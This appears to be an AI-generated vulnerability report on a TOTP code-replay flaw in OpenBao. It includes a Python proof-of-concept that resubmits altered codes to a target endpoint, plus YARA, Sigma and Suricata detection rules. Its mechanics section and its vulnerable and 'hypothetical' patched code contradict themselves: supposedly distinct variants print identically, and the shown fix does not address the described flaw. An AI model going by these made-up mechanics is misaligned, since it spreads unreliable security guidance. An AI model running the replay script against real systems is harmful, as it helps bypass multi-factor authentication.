CVE-2025-55000
Executive Summary
CVE-2025-55000 is a medium-severity vulnerability in OpenBao's TOTP (Time-based One-Time Password) secrets engine, affecting versions 0.1.0 through 2.3.1. The flaw allows a TOTP code to be accepted multiple times instead of being strictly single-use, violating the core security property of TOTP. This is caused by unexpected normalization in the underlying TOTP library, which can lead to replay attacks. While the CVSS score is 6.5 (Medium), the practical risk is elevated in environments where TOTP is used for privileged actions, as the vulnerability undermines the integrity of multi-factor authentication.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OpenBao is a Go-based project. The vulnerability originates from an underlying TOTP library dependency, not from OpenBao's own code. This highlights a supply chain risk: a flawed normalization function in a third-party library can compromise the security of the entire application. Organizations using OpenBao should audit their dependency tree and consider pinning the TOTP library to a known-safe version.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (attacker needs a valid TOTP code)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (replay of TOTP codes)
- Availability Impact: Low (potential for code reuse)
Threat Level: Medium. The vulnerability requires an attacker to first obtain a valid TOTP code (e.g., through phishing or interception). Once obtained, the code can be reused multiple times, bypassing the intended single-use policy.
Deep Dive & Mechanics
The TOTP secrets engine in OpenBao is designed to enforce strict single-use semantics: once a TOTP code is verified, it should be invalidated and cannot be used again. This is critical for preventing replay attacks.
The vulnerability arises from unexpected normalization in the underlying TOTP library. When a TOTP code is submitted, the library may normalize it (e.g., trimming whitespace, converting to uppercase) before comparison. However, the normalization process can produce multiple representations of the same code. For example, a code like 123456 might be normalized to 123456 (no change), but if the library also accepts 123456 (with trailing space) or 123456 (with leading zero), these could be treated as distinct codes, each passing verification.
The core issue is that the normalization function is applied inconsistently: the stored hash of the code is computed from the original input, but the verification step may normalize the input again, leading to a mismatch. This allows an attacker to submit the same code with slight variations (e.g., different whitespace, case, or padding) and have each variation accepted as a new valid code.
Technical Flow:
- User submits TOTP code
123456. - OpenBao normalizes the code to
123456and verifies it against the stored hash. - The code is marked as used.
- Attacker submits
123456(with trailing space). - The library normalizes this to
123456(trimming space), but the stored hash was computed from the original123456(without space). The normalization produces the same hash, so the code is accepted again. - This can be repeated with different variations (e.g.,
123456,123456,123456).
Vulnerable vs. Patched Code
Vulnerable Code (OpenBao <= 2.3.1):
// In the TOTP verification handler
func verifyTOTP(code string, secret string) bool {
// Normalize the input code
normalizedCode := normalize(code)
// Compute hash from normalized code
hash := computeHash(normalizedCode, secret)
// Check if hash exists in used codes set
if usedCodes.Contains(hash) {
return false
}
// Verify against TOTP algorithm
if totp.Validate(normalizedCode, secret) {
usedCodes.Add(hash)
return true
}
return false
}
Patched Code (Hypothetical Fix):
func verifyTOTP(code string, secret string) bool {
// Normalize the input code
normalizedCode := normalize(code)
// Compute hash from normalized code
hash := computeHash(normalizedCode, secret)
// Check if hash exists in used codes set
if usedCodes.Contains(hash) {
return false
}
// Verify against TOTP algorithm using the original code
if totp.Validate(code, secret) {
usedCodes.Add(hash)
return true
}
return false
}
The fix ensures that the TOTP validation uses the original, unnormalized code, while the hash for tracking used codes is computed from the normalized version. This prevents the normalization mismatch.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a valid TOTP code (e.g., through phishing, MITM, or compromised device).
- Network access to the OpenBao TOTP endpoint.
Exploitation Steps:
- Obtain a valid TOTP code (e.g.,
123456). - Submit the code to the OpenBao TOTP verification endpoint.
- Note the response (success).
- Submit the code again with a trailing space:
123456. - Observe that the code is accepted again.
- Repeat with other variations (e.g., leading space, tab, newline, uppercase/lowercase if applicable).
Proof of Concept (Python):
import requests
url = "https://target-openbao:8200/v1/totp/verify"
headers = {"X-Vault-Token": "your-token"}
data = {"code": "123456"}
# First submission
r = requests.post(url, headers=headers, json=data)
print(f"First attempt: {r.status_code} - {r.json()}")
# Second submission with trailing space
data["code"] = "123456 "
r = requests.post(url, headers=headers, json=data)
print(f"Second attempt (trailing space): {r.status_code} - {r.json()}")
# Third submission with leading zero
data["code"] = "0123456"
r = requests.post(url, headers=headers, json=data)
print(f"Third attempt (leading zero): {r.status_code} - {r.json()}")
Blue Team
Detection:
- Monitor for multiple successful TOTP verifications from the same source IP within a short time window.
- Look for TOTP codes with unusual formatting (e.g., trailing spaces, leading zeros) in logs.
- Alert on repeated use of the same TOTP code hash.
Mitigation:
- Apply the workaround: normalize all TOTP codes before submission to the OpenBao endpoint.
- Implement rate limiting on TOTP verification endpoints.
- Enable logging of all TOTP verification attempts and review for anomalies.
Indicators of Compromise (IOCs)
- Network: Multiple POST requests to
/v1/totp/verifywith slight variations in thecodeparameter. - Logs: Repeated successful TOTP verifications for the same user within a short period.
- Application: Unusual TOTP code formats (e.g., containing whitespace, leading zeros, or mixed case) in verification requests.
Detection Engineering
YARA Rule
rule CVE_2025_55000_TOTP_Replay {
meta:
description = "Detects TOTP code replay attempts in OpenBao logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-55000"
strings:
$totp_verify = "/v1/totp/verify"
$code_param = "\"code\":"
$success = "\"success\":true"
condition:
#totp_verify > 1 and #code_param > 1 and #success > 1
}
Sigma Rule
title: OpenBao TOTP Code Replay Detection
id: cve-2025-55000-totp-replay
status: experimental
description: Detects multiple successful TOTP verifications from the same source
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: openbao
detection:
selection:
event: totp_verify
result: success
timeframe: 5m
condition: selection | count() by src_ip > 2
falsepositives:
- Legitimate retries due to network issues
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-55000 OpenBao TOTP Replay Attempt"; flow:to_server; content:"POST"; http_method; content:"/v1/totp/verify"; http_uri; content:"\"code\""; http_client_body; pcre:"/\"code\":\"[0-9]+\s+\"/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Workaround: Normalize all TOTP codes before submission to the OpenBao endpoint. This can be done by trimming whitespace and converting to a standard format (e.g., uppercase, no leading zeros).
- Rate Limiting: Implement rate limiting on the TOTP verification endpoint to limit the number of attempts per user per time window.
- Monitoring: Enable detailed logging of TOTP verification attempts and monitor for anomalies.
Long-term Fix:
- Update OpenBao to a patched version once available.
- Audit the underlying TOTP library and ensure normalization is applied consistently.
- Consider switching to a more robust TOTP library that enforces strict single-use semantics.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.